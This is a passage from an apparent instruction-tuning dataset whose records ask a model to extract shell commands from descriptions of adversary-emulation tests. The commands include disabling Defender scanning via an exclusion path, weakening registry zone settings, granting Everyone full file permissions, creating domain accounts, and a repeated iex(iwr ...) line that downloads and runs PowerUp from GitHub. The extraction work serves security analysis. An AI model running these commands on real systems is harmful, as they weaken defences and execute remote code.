Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Check for SIP status, a feature malware may inspect, with the command: if [ \"$(csrutil status | grep -v 'enabled')\" != \"\" ]; then echo 'Possible Virtualization Environment detected'; fi;",
    "output": "{\"command_list\": [\"if [ \\\"$(csrutil status | grep -v 'enabled')\\\" != \\\"\\\" ]; then echo 'Possible Virtualization Environment detected'; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, the specified file should appear in the exclusion list, which can be achieved with this PowerShell command:\n$excludedpath= \"#{excluded_folder}\"\nAdd-MpPreference -ExclusionPath $excludedpath",
    "output": "{\"command_list\": [\"$excludedpath= \\\"#{excluded_folder}\\\"\\nAdd-MpPreference -ExclusionPath $excludedpath\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may attempt to modify Internet Zone Protocol Defaults in the registry using the reg.exe utility, as shown in this command block: reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v http /t REG_DWORD /d 0 /F\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v https /t REG_DWORD /d 0 /F",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v http /t REG_DWORD /d 0 /F\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v https /t REG_DWORD /d 0 /F\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves file transfer simulation with SCP on Windows, executed via the command: scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}\n",
    "output": "{\"command_list\": [\"scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test demonstrates file permission modification similar to ransomware attacks, with the command: icacls \"#{path}\" /grant Everyone:F /T /C /Q",
    "output": "{\"command_list\": [\"icacls \\\"#{path}\\\" /grant Everyone:F /T /C /Q\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new Domain User can be created by executing this command, which utilizes the current user's credentials:\n$SamAccountName = '#{username}'\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\n$User.SamAccountName = $SamAccountName\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\n$User.Enabled = $True\n$User.PasswordNotRequired = $False\n$User.DisplayName = $SamAccountName\n$User.Save()\n$User",
    "output": "{\"command_list\": [\"$SamAccountName = '#{username}'\\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\\n$User.SamAccountName = $SamAccountName\\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\\n$User.Enabled = $True\\n$User.PasswordNotRequired = $False\\n$User.DisplayName = $SamAccountName\\n$User.Save()\\n$User\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check the current system time on Windows, you can use the built-in command: time",
    "output": "{\"command_list\": [\"time\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 